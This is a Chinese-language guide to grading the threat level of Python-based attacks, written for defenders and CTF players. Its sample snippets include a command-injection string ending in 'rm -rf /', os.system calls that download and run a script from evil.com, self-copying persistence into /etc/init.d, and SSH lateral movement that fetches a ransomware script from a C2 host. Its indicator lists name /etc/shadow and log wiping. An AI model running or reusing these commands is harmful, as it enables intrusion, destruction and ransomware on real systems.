本文目录导读：
这是一个非常专业且带有“黑客/攻防演练”风格的问题，要评估“一波进攻”在Python上下文中的威胁程度，不能只看代码本身，需要结合攻击向量、攻击深度的行为模式以及系统受影响的程度来分析。
以下是一套从 Python代码/日志分析 角度，评估进攻威胁程度的 分级模型 和 具体指标：
等级划分（借鉴CVSS与ATT&CK框架）
| 威胁等级 | 颜色代码 | 描述 |
|---|---|---|
| L1 低危 | 绿色 | 信息搜集、端口扫描、脚本小子尝试 |
| L2 中危 | 黄色 | 尝试利用已知漏洞、SQL注入/Shell注入未遂 |
| L3 高危 | 橙色 | 成功执行远程代码（RCE）、提权成功、内网横向移动 |
| L4 致命 | 红色 | 数据窃取、勒索软件、后门持久化（守护进程/Loader） |
如何通过Python案例/日志分析威胁程度？
下面我会用几个典型的Python攻击案例,并教你如何判断其威胁等级。
案例1： 低危 —— 侦察与扫描
代码表现： Python脚本（如requests、socket）批量发送HTTP GET请求，探测特定URL路径。
import requests
# 扫描常见的Web路径
for path in ['/admin', '/wp-admin', '/phpmyadmin']:
try:
r = requests.get(f'http://target.com{path}', timeout=2)
if r.status_code == 200:
print(f'Found: {path}')
except:
pass
威胁判断依据：
- 行为： 没有写入、修改、删除操作。
- 数据影响： 无，仅读取服务器响应的状态码。
- 系统影响： 可能造成少量CPU/网络负载，但不会破坏。
- 威胁极低（L1），这是攻击的前奏，需要关注后续行为。
案例2： 中危 —— 漏洞利用尝试（未遂/非破坏性）
代码表现： 尝试通过字符串拼接构造SQL注入或命令注入，但服务器防御成功（返回500或错误信息）。
import subprocess
# 尝试在合法的命令后附加恶意命令
user_input = "127.0.0.1; rm -rf /"
cmd = f"ping -c 1 {user_input}"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
威胁判断依据：
- 行为： 包含危险函数（
shell=True、eval、exec）、未授权数据访问。 - 数据影响： 可能尝试读取未授权数据，但未成功泄露。
- 系统影响： 服务器可能产生错误日志，但系统未受损。
- 威胁中等（L2），证明攻击者具备一定技术能力，且已开始尝试攻击。
案例3： 高危 —— 成功远程代码执行（RCE）或文件写入
代码表现： 攻击者成功在服务器上执行了Python代码，并写入了恶意文件或执行了系统命令。
# 攻击者通过漏洞成功执行了以下代码
import os
os.system('wget http://evil.com/shell.py -O /tmp/shell.py')
os.system('python /tmp/shell.py &')
威胁判断依据：
- 行为： 成功调用
os.system、subprocess.Popen，且命令具有破坏性（下载、执行、修改权限）。 - 数据影响： 攻击者可能正在窃取或加密数据库文件。
- 系统影响： 主机已失陷，攻击者获得了该主机的控制权。
- 威胁极高（L3），需要立即隔离受影响主机，断开网络连接。
案例4： 致命 —— 持久化后门与横向移动
代码表现： 后门代码包含自我复制、注册为系统服务或利用SSH密钥进行横向移动。
# 持久化代码
import shutil, os
# 复制自身到启动目录
shutil.copy(__file__, '/etc/init.d/evil_service')
os.system('update-rc.d evil_service defaults') # 添加自启动
# 横向移动代码
import paramiko
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('192.168.1.2', username='root', key_filename='stolen_key')
stdin, stdout, stderr = ssh.exec_command('wget http://c2.com/ransom.py')
威胁判断依据：
- 行为： 包含C2（命令与控制）通信、 密钥窃取、服务注册、内网扫描与爆破。
- 数据影响： 认证凭证（私钥、密码哈希）已泄露。
- 系统影响： 攻击者已从单一主机突破到整个内网段。
- 致命级别（L4），假设全网已被渗透，需要启动红色应急响应，考虑隔离整个内网。
5个快速量化威胁程度的指标（看代码时问自己）
当你看到一个Python攻击案例或日志时,按顺序检查以下五点：
- 是否执行系统命令？
os.system,subprocess.Popen,exec,eval-> 至少L3，如果命令是下载恶意文件，直接升到L4。
- 是否修改或写入文件？
open("xxx.py", "w"),shutil.copy, 写入/etc/cron.d-> L3+，如果写入的是动态链接库（.so/.dll）或启动项，致命。
- 是否尝试横向移动？
- 代码中出现
paramiko、socket.connect到多个IP、读取.ssh/authorized_keys或/etc/shadow-> 直接L4。
- 代码中出现
- 是否加密文件？
- 代码中出现
cryptography.fernet、aes、 遍历所有文件并重命名 -> 直接L4 (勒索)。
- 代码中出现
- 是否绕过杀软/日志清除？
ctypes加载内存载荷、sys.modules.pop、删除/var/log-> L4，说明攻击者非常专业。
总结建议
- 如果你是在做CTF（Capture The Flag）或渗透测试： 看目标系统是否允许你执行
os.system或读取敏感文件，如果允许，就算是高危。 - 如果你是防守方（蓝队）： 只要检测到Python脚本尝试调用
os.system、subprocess（参数不带shell=True也行），并且是在生产服务器上，立即视为高危事件，结合告警来源（是来自外部WAF还是主机EDR）来判断是误报还是真实攻击。 - 对于AI生成的代码： 检查代码中是否有
eval(input())、pickle.loads(unknown_data)、yaml.load(allow_unicode=True)等，这些都是高危信号，可能被用来植入任意代码。
